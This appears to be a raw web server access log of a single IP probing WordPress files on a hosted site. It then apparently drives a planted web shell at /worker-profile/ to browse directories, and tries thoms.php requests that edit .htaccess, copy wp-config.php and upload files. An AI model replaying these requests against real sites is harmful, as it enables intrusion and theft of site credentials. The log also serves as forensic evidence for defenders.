45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/?SA= HTTP/1.1" 200 9299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 18764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 6424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&option=file HTTP/1.1" 200 6448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 28461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2Fhome%2F HTTP/1.1" 200 5828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7971 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 6455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 6574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&option=folder HTTP/1.1" 200 6472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F&location=%2F HTTP/1.1" 200 7894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 6462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 11229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /broadweb.com.tw/worker-profile/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile%2F HTTP/1.1" 200 11225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?edit=.htaccess&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:46 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?edit=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
